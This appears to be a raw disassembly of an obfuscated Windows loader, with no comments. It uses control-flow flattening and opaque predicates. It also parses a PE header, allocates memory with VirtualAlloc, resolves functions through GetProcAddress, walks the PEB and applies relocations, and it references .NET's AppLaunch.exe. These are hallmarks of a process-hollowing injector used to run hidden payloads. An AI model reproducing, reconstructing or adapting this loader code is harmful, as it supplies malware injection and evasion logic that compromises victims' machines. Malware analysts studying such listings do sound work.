jne 0x401d00
mov eax, 0x8d4c678
jmp 0x401d00
cmp eax, 0xe664f052
je 0x404e9e
cmp eax, 0xe88d46f6
jne 0x401d00
mov eax, dword [esp + 0xcc]
mov ebp, dword [eax + 0x3c]
mov dword [esp + 0x4c], eax
add ebp, eax
mov eax, 0xf5067e86
mov dword [esp + 0xd0], ebp
jmp 0x401d00
cmp eax, 0x5568eb59
je 0x404eca
cmp eax, 0x5864cf5c
jne 0x401d00
mov dword [esp + 0xc], 2
mov eax, 0x375df7f9
jmp 0x401d00
cmp eax, 0x8544223e
je 0x404ee9
cmp eax, 0x857a9756
jne 0x401d00
mov eax, 0x611ec560
jmp 0x401d00
cmp eax, 0xfcbb3b76
je 0x404f1d
cmp eax, 0xff4b0ab3
jne 0x401d00
cmp dword [esp + 0x12c], 0
mov eax, 0xf87c2751
mov ecx, 0xe41b86f8
cmove eax, ecx
jmp 0x401d00
cmp eax, 0xc268ce7f
je 0x404f4c
cmp eax, 0xc29d1420
jne 0x401d00
mov ecx, dword [esp + 0x14]
mov eax, ecx
xor eax, 0xbfffffff
and eax, ecx
mov dword [esp + 0x168], eax
mov eax, 0xe27b8480
jmp 0x401d00
cmp eax, 0x64cc7f52
je 0x404f63
cmp eax, 0x64ddcb95
jne 0x401d00
mov eax, 0x7555d987
jmp 0x401d00
cmp eax, 0xa7f29f79
je 0x404f82
cmp eax, 0xa86f7578
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xa720763d
mov edi, 0xeeed9905
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xeeed9905
jmp 0x405280
cmp eax, 0x289858dc
je 0x404fb4
cmp eax, 0x2981d51d
jne 0x401d00
mov eax, dword [esp + 0xfc]
mov ecx, 0x46700e18
cmp eax, dword [esp + 0x100]
mov eax, 0xec55e63e
cmove eax, ecx
jmp 0x401d00
cmp eax, 0xe0083743
je 0x404fe4
cmp eax, 0xe0fa5995
jne 0x401d00
mov eax, 0x3f0dcf42
jmp 0x401d00
cmp eax, 0x477cfb4a
je 0x405018
cmp eax, 0x478ad5c6
jne 0x401d00
inc dword [esp + 0x28]
mov eax, 0xd4820008
jmp 0x401d00
cmp eax, 0x94ab1edf
je 0x405035
cmp eax, 0x959ee768
jne 0x401d00
mov eax, 0x56cd8c0
jmp 0x401d00
cmp eax, 0x15467cb1
je 0x401cad
cmp eax, 0x156c7f9c
jne 0x401d00
mov eax, 0x62e913af
jmp 0x401d00
cmp eax, 0xd103afea
je 0x40505b
cmp eax, 0xd12e736a
jne 0x401d00
mov eax, 0xb2db33f0
jmp 0x401d00
cmp eax, 0x7bf89312
je 0x40507a
cmp eax, 0x7cb08716
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xbc0286ea
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xefe0f1f5
jmp 0x405564
cmp eax, 0xb5c767da
je 0x40508e
cmp eax, 0xb611df96
jne 0x401d00
mov eax, dword [esp + 0x40]
mov dword [esp + 0x110], eax
mov eax, 0x87a7e1d1
jmp 0x401d00
cmp eax, 0x370f3355
je 0x4050c2
cmp eax, 0x37309220
jne 0x401d00
mov eax, 0xb1ff92c6
jmp 0x401d00
cmp eax, 0xee818356
je 0x4050f6
cmp eax, 0xeeed9905
jne 0x401d00
mov eax, dword [esp + 0xb0]
add eax, 2
mov dword [esp + 0x10], eax
mov eax, 0xa720763d
jmp 0x401d00
cmp eax, 0x4c124398
je 0x405100
cmp eax, 0x4ebecc0c
jne 0x401d00
mov dword [esp + 0xc], 0x40
mov eax, 0x5ce14a2b
jmp 0x401d00
cmp eax, 0x837ad0f2
je 0x405132
cmp eax, 0x847a7d75
jne 0x401d00
mov eax, dword [esp + 0xe4]
mov eax, dword [eax]
mov dword [esp + 0xe8], eax
lea eax, [esp + 0x18c]
mov dword [esp + 0xec], eax
mov eax, 0xe664f052
jmp 0x401d00
cmp eax, 0xfa2d5669
je 0x405171
cmp eax, 0xfa509c73
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x289858dc
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbf48c7d1
jmp 0x405564
cmp eax, 0xbf48c7d1
je 0x405190
cmp eax, 0xbf5ca222
jne 0x401d00
cmp byte [esp + 0x1a], 0
mov eax, 0x35d760b8
mov ecx, 0x2d524e79
cmovne eax, ecx
jmp 0x401d00
cmp eax, 0x62e913af
je 0x40519a
cmp eax, 0x63071a76
jne 0x401d00
mov eax, dword [esp + 0xa0]
push dword [eax + 0x10]
push dword [esp + 0xa0]
push dword [esp + 0xa0]
vzeroupper
call fcn.0043cc50
add esp, 0xc
mov eax, 0xf9f0a954
jmp 0x401d00
cmp eax, 0xa2b62da9
je 0x4051ea
cmp eax, 0xa47ebc9d
jne 0x401d00
movzx eax, byte [esp + 0x23]
mov edx, 0x38facc8
mov ecx, eax
xor cl, 0xfe
test cl, al
mov eax, 0x8544223e
cmove eax, edx
jmp 0x401d00
cmp eax, 0x24194f31
je 0x4051f4
cmp eax, 0x252867d8
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x1bcb2bf
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x85363bbd
jmp 0x405564
cmp eax, 0xd9e8e16c
je 0x405212
cmp eax, 0xd9f331de
jne 0x401d00
mov dword [esp], 0
mov eax, 0x5f5bf56a
jmp 0x401d00
cmp eax, 0x42375e81
je 0x405254
cmp eax, 0x4267aaf3
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xd0f747be
mov edi, 0x29a9e14b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x29a9e14b
jmp 0x405278
cmp eax, 0x926cb832
je 0x40529d
cmp eax, 0x92ac5d84
jne 0x401d00
mov eax, dword [esp + 0x24]
mov edi, 0x866f8bbb
mov ebx, 0x6f449c4b
mov eax, dword [eax + 4]
mov dword [esp + 0x118], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x11c], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x6f449c4b
jmp 0x401cda
cmp eax, 0xeb01f55
je 0x4052ae
cmp eax, 0xf71b056
jne 0x401d00
mov eax, 0x6414a4d3
jmp 0x401d00
cmp eax, 0xccfa94f1
je 0x4052c5
cmp eax, 0xce9c9c60
jne 0x401d00
mov eax, 0xf9bad47a
jmp 0x401d00
cmp eax, 0x746ee9ac
je 0x4052da
cmp eax, 0x7555d987
jne 0x401d00
mov eax, dword [esp + 0x10]
mov dword [esp + 0xb0], eax
mov eax, 0xa86f7578
jmp 0x401d00
cmp eax, 0xb1ff92c6
je 0x4052e4
cmp eax, 0xb2db33f0
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xbacea065
mov edi, 0xd12e736a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd12e736a
jmp 0x405280
cmp eax, 0x35a2423f
je 0x40532d
cmp eax, 0x35d760b8
jne 0x401d00
mov dword [esp + 0xf0], esi
mov eax, 0xa0b148a7
jmp 0x401d00
cmp eax, 0xec51ef05
je 0x405337
cmp eax, 0xec55e63e
jne 0x401d00
mov eax, 0xac2fcdd8
jmp 0x401d00
cmp eax, 0x59c4f0b7
je 0x40537d
cmp eax, 0x5a2612e7
jne 0x401d00
mov eax, 0xd103afea
jmp 0x401d00
cmp eax, 0x87a7e1d1
je 0x405399
cmp eax, 0x888bdfb8
jne 0x401d00
mov ecx, dword [esp + 0xe0]
mov eax, 0x16855826
mov dword [esp + 0x64], ecx
jmp 0x401d00
cmp eax, 0x38facc8
je 0x4053b2
cmp eax, 0x5022cc9
jne 0x401d00
mov eax, 0xd53dfdc1
jmp 0x401d00
cmp eax, 0xc3f49c55
je 0x4053d6
cmp eax, 0xc5716b27
jne 0x401d00
mov eax, 0xca3cd17e
mov dword [esp], 5
jmp 0x401d00
cmp eax, 0x69cda18b
je 0x4053ed
cmp eax, 0x6b204433
jne 0x401d00
mov ecx, dword [esp + 0x14]
mov eax, ecx
xor eax, 0xbfffffff
test eax, ecx
mov eax, 0x8f2337b
setne byte [esp + 0x20]
jmp 0x401d00
cmp eax, 0xa96f32dd
je 0x4053f7
cmp eax, 0xab228f54
jne 0x401d00
mov eax, 0x7e4eaf05
jmp 0x401d00
cmp eax, 0x2c06ada8
je 0x405401
cmp eax, 0x2cc43193
jne 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x9a8d03f2
vxorps xmm0, xmm0, xmm0
vmovups xmmword [esp + 0x18c], xmm0
mov ebx, 0x8ce5f663
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8ce5f663
jmp 0x401cda
cmp eax, 0xe41b86f8
je 0x40540b
cmp eax, 0xe4e5ad00
jne 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x62e913af
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x156c7f9c
jmp 0x405564
cmp eax, 0x4a7b6bd4
je 0x40544d
cmp eax, 0x4ac83cf8
jne 0x401d00
mov eax, 0xd4dcb6a1
jmp 0x401d00
cmp eax, 0x98e16077
je 0x405457
cmp eax, 0x99798e80
jne 0x401d00
mov eax, 0x7ede2cc6
jmp 0x401d00
cmp eax, 0x186f605b
je 0x40547d
cmp eax, 0x18af058d
jne 0x401d00
mov eax, dword [esp + 0x40]
mov dword [esp + 0xac], eax
mov eax, 0x4267aaf3
jmp 0x401d00
cmp eax, 0xd3515cf5
je 0x4054b1
cmp eax, 0xd3dbb448
jne 0x401d00
push dword [esp + 0x140]
push dword [esp + 0x70]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x60], eax
mov eax, 0x6feb30f2
jmp 0x401d00
cmp eax, 0x7e4eaf05
je 0x4054c3
cmp eax, 0x7ede2cc6
jne 0x401d00
mov eax, 0xa7f29f79
jmp 0x401d00
cmp eax, 0xbac8706b
je 0x4054f4
cmp eax, 0xbacea065
jne 0x401d00
mov eax, 0xfa509c73
jmp 0x401d00
cmp eax, 0x38002cf2
je 0x405513
cmp eax, 0x38c81ae6
jne 0x401d00
mov eax, 0xe0fa5995
jmp 0x401d00
cmp eax, 0xf1f0203d
je 0x405535
cmp eax, 0xf5067e86
jne 0x401d00
mov eax, dword [esp + 0xd0]
mov ecx, 0x6c7b00d9
cmp dword [eax], 0x4550
mov eax, 0xd3515cf5
cmove eax, ecx
jmp 0x401d00
cmp eax, 0x50da2830
je 0x40557a
cmp eax, 0x52682d88
jne 0x401d00
mov eax, 0xb1269807
jmp 0x401d00
cmp eax, 0x8163c71f
je 0x405584
cmp eax, 0x819f391e
jne 0x401d00
mov eax, 0x99e93d15
jmp 0x401d00
cmp eax, 0xf9bad47a
je 0x40558e
cmp eax, 0xf9f0a954
jne 0x401d00
mov eax, dword [esp + 0xa0]
push dword [eax + 0x10]
push dword [esp + 0xa0]
push dword [esp + 0xa0]
vzeroupper
call fcn.0043cc50
add esp, 0xc
mov eax, dword [0x4803f0]
mov edi, 0x47a41f7d
mov ebx, 0x63071a76
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x63071a76
jmp 0x401cd2
cmp eax, 0xbdd50881
je 0x4055c8
cmp eax, 0xbe585ca8
jne 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xb1ff92c6
mov edi, 0x37309220
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x37309220
jmp 0x405280
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xd9f331de
mov dword [esp], 0
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa2b62da9
cmovne edi, ebx
test eax, edx
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401d00
mov eax, 0x94ab1edf
jmp 0x401d00
push 0x400
push dword [esp + 0x50]
push dword [esp + 0xf8]
vzeroupper
call fcn.0043cc50
add esp, 0xc
lea eax, [ebp + 0x18]
mov dword [esp + 0x54], eax
lea eax, [ebp + 4]
mov dword [esp + 0x8c], eax
mov eax, 0xe0083743
jmp 0x401d00
mov dword [esp], 0x10
mov eax, 0xd42028f1
jmp 0x401d00
mov eax, 0xbdd50881
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x6916a026
mov ebx, 0xa20da8e2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa20da8e2
jmp 0x401cda
mov eax, dword [0x4803f0]
mov ebx, 0xc3d51546
mov edi, 0x926cb832
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x926cb832
jmp 0x405278
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xf368a0
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x8663ee42
jmp 0x405438
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x150]
mov edx, dword [esp + 0x34]
lea ecx, [ecx + ecx*4]
lea edx, [edx*4]
add edx, dword [eax + ecx*4 + 0x10]
mov eax, dword [esp + 0x148]
mov edi, dword [esp + 0x144]
mov dword [eax + edx], edi
mov eax, 0xc618df30
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x306f52ae
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x102d29c3
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
mov edi, dword [esp + 0x14]
cmp ecx, 0xa
cmovge eax, ebx
mov ecx, edi
xor ecx, 0xbfffffff
test ecx, edi
setne byte [esp + 0x22]
jmp 0x401d00
mov eax, 0x38002cf2
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x3e7058a7
mov ebx, 0x102d29c3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x102d29c3
jmp 0x401cda
cmp byte [esp + 0x20], 0
mov eax, 0xc29d1420
mov ecx, 0x378d295e
cmovne eax, ecx
jmp 0x401d00
mov eax, dword [esp + 0xa4]
mov ecx, dword [eax]
mov eax, dword [esp + 8]
mov eax, dword [esp + 8]
mov eax, dword [esp + 8]
mov eax, dword [esp + 8]
mov eax, dword [esp + 8]
mov eax, dword [esp + 8]
mov eax, 0xd9e8e16c
add ecx, dword [esp + 8]
mov dword [esp + 0x78], ecx
jmp 0x401d00
mov eax, 0x52b30003
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x500db5a1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2a4e954b
jmp 0x405564
mov eax, 0x92ac5d84
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x53771c02
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xca434abc
jmp 0x405564
mov eax, dword [0x4803f0]
mov edi, 0xdff3d0f5
mov ebx, 0xebd1f77c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xebd1f77c
jmp 0x401cd2
mov eax, 0xbdd50881
jmp 0x401d00
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x44]
mov edi, 0x6d7036e0
mov dword [ecx], eax
mov eax, dword [esp + 0x7c]
mov dword [ecx + 4], eax
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa8a2075a
jmp 0x405438
mov eax, 0x42375e81
jmp 0x401d00
mov eax, dword [esp + 0xb8]
mov ebx, 0x5e648114
mov edi, 0x1eb75f39
mov dword [esp + 4], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x1eb75f39
jmp 0x405280
mov eax, 0x7d3b2ba9
jmp 0x401d00
mov eax, dword [esp + 0xa8]
mov ebx, 0xb2e6a0d9
mov edi, 0xfcbb3b76
mov dword [esp + 0x40], 0
mov eax, dword [eax]
add eax, 0xfffffff8
shr eax, 1
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x24]
add eax, 8
mov dword [esp + 0x10], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0xfcbb3b76
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xf9bad47a
mov edi, 0xce9c9c60
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xce9c9c60
jmp 0x405280
mov dword [esp], 1
mov eax, 0xf368a0
jmp 0x401d00
mov eax, 0xfad6d7a6
jmp 0x401d00
cmp dword [esp + 0xb4], 0
mov eax, dword [0x4803f0]
mov ebx, 0xeb01f55
mov edi, 0x4f95e24d
lea ecx, [eax + 1]
setne byte [esp + 0x1f]
imul ecx, eax
mov eax, 0x4f95e24d
jmp 0x405278
mov eax, dword [0x4803f0]
mov ebx, 0xccb0ee03
mov edi, 0x8663ee42
mov dword [esp], 1
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8663ee42
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401d00
mov dword [esp + 0xc], 0x20
mov eax, 0x52682d88
jmp 0x401d00
mov ecx, dword [esp + 0x160]
mov eax, ecx
xor eax, 0xbfffffff
mov dword [esp + 0x14], ecx
test eax, ecx
mov eax, 0x7fea34b8
mov ecx, 0x6b204433
cmove eax, ecx
jmp 0x401d00
mov eax, dword [esp + 0x128]
mov ecx, dword [esp + 0x28]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [esp + 0x12c], eax
mov eax, 0xff4b0ab3
jmp 0x401d00
mov eax, 0xf1f0203d
jmp 0x401d00
movzx eax, word [esp + 0x3e]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x2c]
and eax, 0xfff
mov edx, dword [ecx + eax]
mov ebx, dword [esp + 0x58]
add edx, dword [esp + 0x58]
mov dword [ecx + eax], edx
mov eax, 0xc0e198e9
jmp 0x401d00
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0x44]
mov dword [ecx], eax
mov eax, dword [esp + 0x7c]
mov dword [ecx + 4], eax
mov eax, 0x30f380e7
jmp 0x401d00
mov eax, dword [esp + 0xac]
mov eax, 0xd0f747be
jmp 0x401d00
mov eax, dword [esp + 0x90]
mov eax, dword [esp + 0x94]
mov eax, 0x500db5a1
jmp 0x401d00
mov eax, 0xc925fb36
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0xf63c63a9
mov ebx, 0x2daecb1a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2daecb1a
jmp 0x401cda
mov eax, 0xd49b3107
jmp 0x401d00
mov eax, dword [esp + 0x30]
mov ebx, 0x5022cc9
mov edi, 0x6b011cb
mov dword [esp + 0xf8], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x6b011cb
jmp 0x405278
lea eax, [esp + 0x188]
mov edi, 0x8d305c4a
mov ebx, 0x5ca3148f
mov dword [esp + 0x10c], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5ca3148f
jmp 0x401cda
mov eax, dword [esp + 0x48]
mov dword [esp + 0x128], eax
mov eax, 0x650c6e0c
jmp 0x401d00
mov eax, dword [esp + 0x154]
inc eax
mov dword [esp + 0x34], eax
mov eax, 0x59c4f0b7
jmp 0x401d00
push 4
push 0x3000
push dword [esp + 0xe0]
push dword [esp + 0x70]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esp + 0x188], 0
mov esi, eax
mov eax, 0x35d760b8
mov ecx, 0xed41f63b
cmove eax, ecx
jmp 0x401d00
movzx eax, word [ebp + 6]
mov ecx, dword [esp + 0x15c]
mov edx, 0x20169576
cmp ecx, eax
mov eax, 0xa1e72f01
cmovl eax, edx
jmp 0x401d00
mov eax, 0xd131e7d9
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x342d9270
mov edi, 0x35a2423f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x35a2423f
jmp 0x405280
mov eax, dword [esp + 0x88]
mov eax, dword [esp + 0x84]
mov eax, 0x3c01514a
jmp 0x401d00
mov eax, 0xbd31a3a6
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x659ebf6d
mov ebx, 0xb51b8c37
mov dword [esp + 0xc], 4
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb51b8c37
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x99798e80
mov dword [esp + 0xc], 2
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5864cf5c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x42375e81
mov ebx, 0x31bf154c
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x31bf154c
jmp 0x401cd2
mov dword [esp], 0xd
mov eax, 0xbc0286ea
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xa0567152
jmp 0x404f92
mov eax, 0xb611df96
jmp 0x401d00
mov eax, dword [esp + 0xb4]
mov eax, 0xffc70adf
jmp 0x401d00
mov dword [esp + 0xf4], esi
mov eax, 0xed595f52
jmp 0x401d00
mov eax, dword [esp + 0x178]
vmovups ymm0, ymmword [0x4738e6]
vmovups ymm1, ymmword [0x4738ce]
vmovups ymm2, ymmword [0x4738ae]
mov eax, dword [eax]
mov ecx, dword [eax + 0x14]
mov eax, dword [esp + 0x68]
mov dword [eax + 8], esi
mov dword [ecx + 0x10], esi
vmovups ymmword [esp + 0x1f4], ymm0
vmovups ymmword [esp + 0x1dc], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x1bc], ymm2
add ecx, 0x1c
mov eax, 0x1e941db5
mov dword [esp + 0x44], ecx
mov ecx, 0xe4e5ad00
vmovups ymmword [esp + 0x19c], ymm1
cmp dword [ebp + 0xe8], 0
setne byte [esp + 0x19]
cmovne eax, ecx
jmp 0x401d00
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x48]
mov ebx, 0x2c06ada8
mov edi, 0xa96f32dd
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
add eax, esi
mov dword [esp + 0x130], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa96f32dd
jmp 0x405278
mov eax, 0x64ddcb95
jmp 0x401d00
mov eax, 0x7fc8ad5a
jmp 0x401d00
movzx eax, word [esp + 0x3e]
mov edi, 0xfa9bc045
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + eax]
add edx, dword [esp + 0x58]
mov dword [ecx + eax], edx
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xa8a0ff5b
jmp 0x405438
mov eax, dword [0x4803f0]
mov ebx, 0x2e2730e1
lea ecx, [eax + 1]
jmp 0x40492a
cmp byte [esp + 0x21], 0
mov eax, 0xc29d1420
mov ecx, 0x186f605b
cmovne eax, ecx
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xec51ef05
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x7d726367
jmp 0x405564
mov eax, dword [esp + 0xb0]
mov edi, 0xf17f139f
mov ebx, 0xeeed9905
add eax, 2
mov dword [esp + 0x10], eax
mov eax, dword [0x4803f0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xeeed9905
jmp 0x401cd2
mov eax, 0xbcbaf47f
jmp 0x401d00
mov eax, 0xe6114d73
jmp 0x401d00
mov eax, 0x23fc268a
jmp 0x401d00
mov eax, 0x173bf517
mov dword [esp], 2
jmp 0x401d00
mov eax, dword [esp + 4]
inc eax
mov dword [esp + 0xb8], eax
mov eax, 0xa764d69f
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xc0e198e9
mov edi, 0xa8a0ff5b
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xa8a0ff5b
jmp 0x405278
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x5568eb59
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x8163c71f
jmp 0x405438
mov eax, dword [0x4803f0]
mov edi, 0xb2db33f0
mov ebx, 0xd12e736a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd12e736a
jmp 0x401cda
mov eax, 0x3e7058a7
jmp 0x401d00
mov dword [esp + 0xc0], ebp
mov ebp, esi
mov edi, 0x69cda18b
mov esi, dword fs:[0x30]
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
lea edx, [eax + 1]
mov dword [esp + 0x68], esi
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x7bf89312
cmovne ebx, edi
test eax, edx
lea edx, [esi + 0xc]
mov esi, ebp
mov ebp, dword [esp + 0xc0]
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov dword [esp + 0x178], edx
cmovge eax, ebx
jmp 0x401d00
movzx eax, word [esp + 0x3c]
mov eax, 0x7dbc303
jmp 0x401d00
mov eax, dword [esp + 0x120]
add eax, dword [esp + 0x124]
mov dword [esp + 0x28], 0
mov dword [esp + 0x48], eax
mov eax, 0xf5322175
jmp 0x401d00
mov eax, 0x64cc7f52
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x6f7782f4
mov edi, 0xca434abc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xca434abc
jmp 0x405280
mov eax, 0x18af058d
jmp 0x401d00
mov eax, 0x63bc4830
jmp 0x401d00
mov eax, dword [ebp + 0x34]
mov dword [esp + 0x100], eax
mov eax, 0x2981d51d
jmp 0x401d00
mov eax, 0x9373e337
jmp 0x401d00
mov dword [esp + 0x84], esi
mov eax, 0xbe585ca8
jmp 0x401d00
mov eax, dword [esp + 0x30]
mov edi, dword [esp + 0x38]
lea eax, [eax + eax*4]
mov edx, dword [edi + eax*8 + 0xc]
lea ecx, [edi + eax*8]
add edx, dword [esp + 0xf4]
mov dword [esp + 0x98], edx
mov eax, dword [edi + eax*8 + 0x14]
mov dword [esp + 0xa0], ecx
add eax, dword [esp + 0x4c]
mov dword [esp + 0x9c], eax
